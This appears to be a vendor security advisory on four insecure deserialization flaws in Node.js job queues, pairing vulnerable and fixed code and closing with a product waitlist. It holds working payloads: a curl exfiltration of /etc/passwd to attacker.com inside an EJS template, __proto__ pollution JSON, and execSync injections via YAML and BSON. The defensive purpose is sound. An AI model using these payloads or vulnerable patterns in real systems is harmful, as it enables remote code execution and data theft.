Claude MCP skill insecure deserialization — scheduled job and task queue processing — SA-SKL-DESER10
Scheduled job and task queue systems are high-privilege execution environments: they run with elevated server permissions, often outside the request/response security boundary, and consume data from multiple sources including databases, message brokers, and temporary files. SA-SKL-DESER10 covers four insecure deserialization patterns in MCP skill registry scheduled job and task queue processing — prototype pollution via MongoDB job document, eval-equivalent code execution via Redis-sourced EJS templates in BullMQ, YAML parse-time code execution via a /tmp-writable cron config file, and BSON Code type eval in a custom task result deserializer.
JSON.parse + Object.assign(jobDefaults, parsedData) — attacker with job document write access injects {"__proto__": {"isAdmin": true}} polluting Object.prototype process-wide; subsequent authorization checks that read user.isAdmin return true for all userstemplateId field resolved to an EJS template string fetched from Redis; EJS rendered with ejs.render(template, context) without sandboxing — attacker with Redis write access replaces template string with <%- require('child_process').execSync('id') %> achieving server-side RCE on each job execution/tmp/ that could be overwritten by another container process — attacker with /tmp/ write access injects a !!js/function YAML type tag; js-yaml in full mode executes the function at parse time before any validationeval() to reconstruct objects of BSON Code type (type 13) on result fields supplied from task payload — attacker controls task payload and injects BSON Code document with malicious JavaScript expressionBackground: job queues as deserialization attack surfaces
Job queues and schedulers introduce a delayed execution model where serialized data written at one point in time is deserialized and executed at another, often by a worker process with higher privileges than the API process that accepted the original request. This time gap between serialization and deserialization creates attack windows: an attacker who gains write access to the job store (MongoDB, Redis, a shared filesystem) can poison job data that will be deserialized later by a trusted worker.
The four SA-SKL-DESER10 findings cover the most common serialization substrates in Node.js job processing: JSON (DESER10-001), template engines evaluated from string data (DESER10-002), YAML config files (DESER10-003), and BSON with custom type tags (DESER10-004). Each exploits a different mechanism — prototype pollution, template eval, YAML type tag execution, and BSON Code type eval — but all share the same root cause: the deserialization layer trusts data from a persistent store that an attacker can write to.
Related patterns: SA-SKL-DESER9 (webhook handler prototype pollution), SA-SKL-DESER8 (plugin system deserialization), SA-SKL-INJECTION15 (CI/CD injection).
DESER10-001 — CRITICAL — Agenda.js job data prototype pollution via MongoDB JSON round-trip
The MCP skill registry uses Agenda.js for scheduled jobs (periodic badge refreshes, stale audit cleanup, newsletter digests). Agenda stores job data as a JSON blob in MongoDB. When a job is dequeued, the worker calls JSON.parse(job.attrs.data) to recover the payload, then uses Object.assign(jobDefaults, parsedData) to merge it with per-job-type defaults. Object.assign copies all enumerable own properties of the source object — including the own property __proto__ if the parsed JSON contains it.
An attacker who has write access to the MongoDB jobs collection (via a MongoDB injection in another endpoint, a misconfigured admin API, or a compromised application credential) inserts a job document with data: JSON.stringify({"__proto__": {"isAdmin": true, "bypassRateLimit": true}}). When the Agenda worker dequeues and deserializes this document, Object.assign sets Object.prototype.isAdmin = true and Object.prototype.bypassRateLimit = true on the worker's Object.prototype. All subsequent property lookups for isAdmin and bypassRateLimit on any plain object in the worker process return true — including authorization checks in the same event loop iteration.
The fix has three layers: (1) validate job data with a Zod schema before Object.assign and reject any document containing __proto__, constructor, or prototype keys; (2) use a null-prototype target object in Object.assign so pollution of Object.prototype is impossible (Object.assign(Object.create(null), parsedData)); (3) add a safe reviver to JSON.parse that throws on these forbidden keys.
// VULNERABLE — DESER10-001
// workers/agenda-worker.js
agenda.define('refresh-badge', async (job) => {
// BUG: JSON.parse + Object.assign(target, source) with untrusted source
// If job.attrs.data contains {"__proto__": {"isAdmin": true}}
// Object.assign merges __proto__ as an OWN property, polluting Object.prototype
const data = JSON.parse(job.attrs.data);
const opts = Object.assign(BADGE_REFRESH_DEFAULTS, data); // BUG
// Later in the same process: isAdmin lookup on any plain object returns true
// Authorization check bypassed process-wide until restart
const user = await User.findById(opts.userId);
if (!user.isAdmin) {
// This check now PASSES for all users due to prototype pollution
throw new Error('Not authorized to refresh badge');
}
await refreshBadge(opts.skillId);
});
// FIXED — DESER10-001
// workers/agenda-worker.js
const { z } = require('zod');
// Zod schema: only allow expected fields, no __proto__ or constructor
const BadgeRefreshData = z.object({
userId: z.string().uuid(),
skillId: z.string().uuid(),
force: z.boolean().optional().default(false),
}).strict(); // .strict() rejects unknown keys
// Safe JSON reviver: throw on prototype pollution keys
function safeReviver(key, value) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
throw new SyntaxError(`Forbidden key in job data: ${key}`);
}
return value;
}
agenda.define('refresh-badge', async (job) => {
let raw;
try {
raw = JSON.parse(job.attrs.data, safeReviver);
} catch (err) {
logger.error('DESER10-001: job data parse error', { jobId: job.attrs._id, err });
return job.fail(err.message);
}
// Validate against strict schema; throws on unknown or forbidden keys
const data = BadgeRefreshData.parse(raw);
// Use null-prototype merge target: even if safeReviver were bypassed,
// Object.prototype cannot be polluted via null-prototype target
const opts = Object.assign(Object.create(null), BADGE_REFRESH_DEFAULTS, data);
// Authorization check on DB-sourced user, never on job data
const user = await User.findById(opts.userId);
if (!user || !user.isAdmin) throw new Error('Not authorized');
await refreshBadge(opts.skillId);
});
DESER10-001 impact: Process-wide prototype pollution — all plain objects in the worker process inherit the attacker-injected properties until the process restarts. If injected as {"isAdmin": true}, every authorization check that tests user.isAdmin (without the user object having an explicit false value) passes for all users in that process. The attack does not require code execution in the worker — only write access to the MongoDB jobs collection. SkillAudit detects this by identifying Object.assign calls where the source is derived from JSON.parse applied to data originating from an external store (MongoDB, Redis, Kafka), and flags the combination as DESER10-001.
DESER10-002 — CRITICAL — BullMQ EJS template eval via Redis-sourced templateId
The notification job in BullMQ accepts a templateId field in the job payload. The worker resolves this ID to an EJS template string stored in Redis under the key template:{templateId} and renders it using ejs.render(templateString, context). EJS's render() function compiles the template string into a JavaScript function and executes it — meaning any JavaScript expression inside <%- ... %> or <%= ... %> tags runs with full Node.js runtime access, including require('child_process').
An attacker with Redis write access (via a Redis SSRF from another vulnerability, a misconfigured Redis instance without authentication, or a compromised service credential) overwrites the Redis key template:welcome-email with an EJS payload: <%- require('child_process').execSync('curl https://attacker.com/' + Buffer.from(require('fs').readFileSync('/etc/passwd')).toString('base64')).toString() %>. The next time the BullMQ worker processes a notification job with templateId: 'welcome-email', it fetches the poisoned template string from Redis and executes the injected JavaScript — exfiltrating /etc/passwd and providing a foothold for RCE.
The fix is to never store template source code in Redis or any attacker-writable store. Templates must be pre-compiled at deploy time and stored in the application code as compiled EJS functions. If dynamic template content is required, use a pre-approved template registry in the application database (not Redis) with strict schema validation on template content, or use a sandboxed template engine that cannot execute arbitrary JavaScript.
// VULNERABLE — DESER10-002
// workers/notification-worker.js
const ejs = require('ejs');
const redis = require('./redis');
// BUG: EJS template string fetched from Redis at render time
// Attacker with Redis write access injects arbitrary EJS for RCE
async function renderTemplate(templateId, context) {
const templateStr = await redis.get(`template:${templateId}`);
if (!templateStr) throw new Error(`Template not found: ${templateId}`);
// ejs.render() compiles and executes the template string
// Any <%- require('child_process') %> in templateStr runs here
return ejs.render(templateStr, context); // BUG: eval-equivalent
}
queue.process('send-notification', async (job) => {
const { templateId, userId, vars } = job.data;
const user = await User.findById(userId);
const html = await renderTemplate(templateId, { user, ...vars });
await sendEmail(user.email, html);
});
// FIXED — DESER10-002
// workers/notification-worker.js
const ejs = require('ejs');
const path = require('path');
// Pre-compiled template functions — compiled at startup from local .ejs files
// Never from Redis or any external/attacker-writable store
const TEMPLATE_DIR = path.join(__dirname, '../email-templates');
const TEMPLATES = {};
const ALLOWED_TEMPLATES = [
'welcome-email',
'audit-complete',
'password-reset',
'team-invitation',
];
// Compile all allowed templates at startup
for (const name of ALLOWED_TEMPLATES) {
const filePath = path.join(TEMPLATE_DIR, `${name}.ejs`);
// ejs.compile() returns a function; never re-compiles from external strings
TEMPLATES[name] = ejs.compile(
require('fs').readFileSync(filePath, 'utf8'),
{ filename: filePath, escape: ejs.escapeXML } // auto-escape by default
);
}
function renderTemplate(templateId, context) {
if (!TEMPLATES[templateId]) {
throw new Error(`Unknown template: ${templateId}`);
}
// Call the pre-compiled function — no string compilation at runtime
return TEMPLATES[templateId](context);
}
queue.process('send-notification', async (job) => {
const { templateId, userId, vars } = job.data;
// Validate templateId against allowlist — never pass raw job field to lookup
if (!ALLOWED_TEMPLATES.includes(templateId)) {
logger.error('DESER10-002: unknown templateId in job', { templateId });
throw new Error(`Unknown template: ${templateId}`);
}
const user = await User.findById(userId);
if (!user) throw new Error(`User not found: ${userId}`);
// Sanitize vars: only pass expected context keys to template
const safeVars = {
skillName: String(vars.skillName || '').slice(0, 200),
grade: String(vars.grade || '').slice(0, 20),
reportUrl: String(vars.reportUrl || ''),
};
const html = renderTemplate(templateId, { user, ...safeVars });
await sendEmail(user.email, html);
});
DESER10-002 impact: Full server-side RCE in the BullMQ worker process, executed on every job that uses the poisoned template. The attacker does not need direct access to the Node.js process — only write access to Redis. The attack is persistent: the malicious template remains in Redis until explicitly overwritten, triggering RCE on every subsequent notification job. SkillAudit detects this by tracing the data flow from Redis GET operations to EJS render(), Handlebars compile(), Pug.compile(), or any other template compilation call, and flagging the connection as DESER10-002.
DESER10-003 — CRITICAL — YAML cron config !!js/function injection via /tmp file
The cron job scheduler reads its configuration (job names, cron expressions, concurrency limits) from a YAML file at runtime. To allow dynamic reconfiguration without redeployment, the config file is written to /tmp/cron-config.yaml and refreshed on a timer. The YAML is parsed with js-yaml using the default DEFAULT_FULL_SCHEMA, which includes the !!js/function and !!js/regexp type tags that execute JavaScript at parse time.
In a containerized environment, multiple processes typically share /tmp/. An attacker who gains write access to the container's filesystem — via a path traversal vulnerability in the file upload endpoint, a ZIP slip in the package extractor, or a container escape from a co-located workload — can overwrite /tmp/cron-config.yaml with YAML containing a !!js/function tag. The next time the scheduler reloads its config (every 60 seconds in the default implementation), the YAML parser executes the injected function with full Node.js runtime access.
The fix is threefold: (1) use js-yaml with FAILSAFE_SCHEMA or DEFAULT_SAFE_SCHEMA (which excludes !!js/function); (2) store the cron config in the application database rather than a filesystem file, so it benefits from database access controls; (3) validate the parsed config against a strict Zod schema that only allows cron-expression strings and integer concurrency values before any execution.
// VULNERABLE — DESER10-003
// scheduler/cron-loader.js
const yaml = require('js-yaml');
const fs = require('fs');
const CONFIG_PATH = '/tmp/cron-config.yaml';
// BUG 1: reads config from /tmp/ — world-writable on many container images
// BUG 2: yaml.load() with DEFAULT_FULL_SCHEMA (the default) allows !!js/function
// Attacker writes to /tmp/cron-config.yaml:
// badJob: !!js/function "function() { require('child_process').execSync('id') }"
// Next reload executes the function at parse time
function loadCronConfig() {
const raw = fs.readFileSync(CONFIG_PATH, 'utf8');
return yaml.load(raw); // BUG: DEFAULT_FULL_SCHEMA includes !!js/function
}
setInterval(() => {
try {
const config = loadCronConfig();
updateScheduler(config.jobs);
} catch (err) {
logger.error('Cron config reload failed', { err });
}
}, 60_000);
// FIXED — DESER10-003
// scheduler/cron-loader.js
const yaml = require('js-yaml');
const { z } = require('zod');
// Zod schema for a single cron job entry
const CronJobSchema = z.object({
name: z.string().regex(/^[a-z][a-z0-9-]{0,63}$/, 'Invalid job name'),
schedule: z.string().regex(
/^(\*|[0-9*,/-]+)\s+(\*|[0-9*,/-]+)\s+(\*|[0-9*,/-]+)\s+(\*|[0-9*,/-]+)\s+(\*|[0-9*,/-]+)$/,
'Invalid cron expression'
),
concurrency: z.number().int().min(1).max(10).optional().default(1),
});
const CronConfigSchema = z.object({
jobs: z.array(CronJobSchema).max(50),
});
// Store config in DB instead of /tmp/ — benefits from DB access controls
async function loadCronConfig() {
const row = await db.get('SELECT config_yaml FROM cron_config WHERE id = 1');
if (!row) throw new Error('No cron config found in DB');
// Parse with FAILSAFE_SCHEMA — only strings, sequences, and mappings
// !!js/function, !!js/regexp, and all other JS type tags are unavailable
const raw = yaml.load(row.config_yaml, { schema: yaml.FAILSAFE_SCHEMA });
// Validate against strict Zod schema — only expected fields accepted
return CronConfigSchema.parse(raw);
}
setInterval(async () => {
try {
const config = await loadCronConfig();
updateScheduler(config.jobs);
} catch (err) {
logger.error('DESER10-003: cron config reload error', { err });
// On parse error, keep existing schedule — do not crash the worker
}
}, 60_000);
DESER10-003 impact: Server-side RCE in the scheduler worker process, triggered automatically on the next config reload interval (up to 60 seconds after the payload is written). The attack requires write access to /tmp/ in the container — achievable via ZIP slip in the package extractor, path traversal in the file upload endpoint, or a container filesystem escape. Because the reload happens on a timer, the execution is deferred and may not be immediately detected. SkillAudit detects this by identifying yaml.load() calls that read from /tmp/ or any other world-writable path without specifying a safe schema, and flags them as DESER10-003.
DESER10-004 — HIGH — BSON Code type eval in custom task result deserializer
The task result storage module uses a custom BSON serializer/deserializer to persist rich structured results in MongoDB. The custom deserializer handles BSON Code type (type 13) by calling eval(codeDocument.code) to reconstruct callable objects from stored code strings. BSON Code type is a MongoDB-native type intended for storing JavaScript functions that MongoDB's server-side JavaScript engine (now deprecated) would execute. Using it in a Node.js application deserializer is a critical error: any task result field of BSON type Code is passed verbatim to eval() during deserialization.
An attacker who controls task payload content (by submitting a crafted audit task via the API) includes a BSON Code field in the result document structure — either by exploiting a MongoDB injection in the task result storage path, or by crafting a task payload that causes the result aggregation code to include an attacker-controlled string as a Code-typed field. When the result reader deserializes the BSON document, the eval executes the injected code string in the worker's Node.js context.
The fix is to remove the Code type handler from the custom deserializer entirely. BSON Code type has no legitimate use in a Node.js application reading MongoDB documents — MongoDB's server-side JavaScript was deprecated in MongoDB 4.4 and removed in 5.0. The deserializer should use a type registry that only handles types 1 (double), 2 (string), 3 (embedded document), 4 (array), 5 (binary), 7 (ObjectId), 8 (boolean), 9 (datetime), 10 (null), and 16/18 (integers). Any document containing type 13 (Code) or type 15 (CodeWithScope) should be rejected with a schema validation error.
// VULNERABLE — DESER10-004
// storage/bson-deserializer.js
const BSON = require('bson');
// Custom deserializer: handles BSON type tags from MongoDB documents
// BUG: handles BSON Code type (13) by calling eval()
// Attacker inserts task result document with Code-typed field:
// { result: new BSON.Code("require('child_process').execSync('id').toString()") }
// eval() executes at deserialization time
function deserializeTaskResult(doc) {
if (doc._bsontype === 'Code') {
// BUG: eval on Code type — arbitrary JS execution
return eval(doc.code);
}
if (doc._bsontype === 'ObjectId') return doc.toString();
if (typeof doc === 'object' && doc !== null) {
return Object.fromEntries(
Object.entries(doc).map(([k, v]) => [k, deserializeTaskResult(v)])
);
}
return doc;
}
// Called when reading task results from MongoDB
const rawResult = await db.collection('task_results').findOne({ taskId });
const result = deserializeTaskResult(rawResult);
// FIXED — DESER10-004
// storage/bson-deserializer.js
const BSON = require('bson');
// Allowlist of safe BSON types — Code (13) and CodeWithScope (15) explicitly excluded
const SAFE_BSON_TYPES = new Set([
'Double', 'Int32', 'Long', 'Decimal128',
'String', // type 2
'ObjectId', // type 7
'Boolean', // type 8
'Date', // type 9
'BSONNull', // type 10
'Binary', // type 5
'BSONRegExp', // type 11 — allow regexp but do not exec
'Timestamp', // type 17
]);
function deserializeTaskResult(doc, depth = 0) {
if (depth > 20) throw new Error('DESER10-004: document nesting too deep');
if (doc === null || doc === undefined) return doc;
// Check for forbidden BSON types BEFORE any other handling
if (doc._bsontype === 'Code' || doc._bsontype === 'CodeWithScope') {
throw new Error(`DESER10-004: forbidden BSON type in task result: ${doc._bsontype}`);
}
if (doc._bsontype && !SAFE_BSON_TYPES.has(doc._bsontype)) {
throw new Error(`DESER10-004: unknown BSON type in task result: ${doc._bsontype}`);
}
// Handle safe BSON types
if (doc._bsontype === 'ObjectId') return doc.toString();
if (doc._bsontype === 'Date') return doc.toISOString();
if (doc._bsontype === 'BSONRegExp') {
// Return as plain string — never reconstruct as a RegExp (ReDoS risk)
return `/${doc.pattern}/${doc.options}`;
}
if (Array.isArray(doc)) {
return doc.map(v => deserializeTaskResult(v, depth + 1));
}
if (typeof doc === 'object') {
const result = {};
for (const [k, v] of Object.entries(doc)) {
// Block prototype pollution keys even in BSON deserialization context
if (k === '__proto__' || k === 'constructor' || k === 'prototype') {
throw new Error(`DESER10-004: forbidden key in task result: ${k}`);
}
result[k] = deserializeTaskResult(v, depth + 1);
}
return result;
}
return doc;
}
DESER10-004 impact: Server-side code execution triggered at task result read time. The attacker's payload executes in the context of the result reader process (typically the API process), not an isolated worker. This means the attacker can access environment variables, database connections, and all in-memory application state at the time of deserialization. The attack requires the ability to store a BSON Code-typed value in the task result collection — achievable via MongoDB injection in the task submission endpoint or the result storage path. SkillAudit detects this by scanning for custom BSON deserializer functions that handle _bsontype === 'Code' and flag any that call eval(), new Function(), or vm.runInContext() on the code string.
Detection with SkillAudit
SkillAudit's static analysis scans job queue and scheduler modules for all four SA-SKL-DESER10 patterns. For DESER10-001, it identifies Object.assign calls where the source is derived from JSON.parse applied to data from MongoDB, Redis, or any external store. For DESER10-002, it traces data flows from Redis GET operations to EJS render(), Handlebars compile(), or other template compilation calls. For DESER10-003, it detects yaml.load() calls that read from /tmp/ or any other world-writable path without specifying a safe schema. For DESER10-004, it scans custom BSON deserializer code for Code-type handling that invokes eval() or equivalent.
| Finding | Severity | Root cause | Fix |
|---|---|---|---|
| DESER10-001 | CRITICAL | JSON.parse + Object.assign from MongoDB job document; __proto__ own property pollutes Object.prototype process-wide | Zod validation before merge; safeReviver blocking __proto__ keys; null-prototype merge target |
| DESER10-002 | CRITICAL | EJS template string fetched from Redis at render time; eval-equivalent RCE on each job execution | Pre-compile templates at deploy time from local .ejs files; never store template source in Redis |
| DESER10-003 | CRITICAL | js-yaml DEFAULT_FULL_SCHEMA on /tmp/ YAML file; !!js/function tag executes at parse time | FAILSAFE_SCHEMA; store config in DB not /tmp/; Zod validation on parsed config |
| DESER10-004 | HIGH | Custom BSON deserializer calls eval() on Code type (13) fields from task result documents | Remove Code type handler; allowlist safe BSON types; throw on Code and CodeWithScope |
Related findings: SA-SKL-DESER9 (webhook handler prototype pollution), SA-SKL-INJECTION15 (CI/CD injection), SA-SKL-SSRF27 (SSRF in package analysis).
SkillAudit scans your MCP skill registry for all SA-SKL-DESER10 patterns — Agenda.js prototype pollution, BullMQ template eval, YAML type tag injection, and BSON Code eval — and delivers a prioritized fix report in minutes.
Join the waitlist →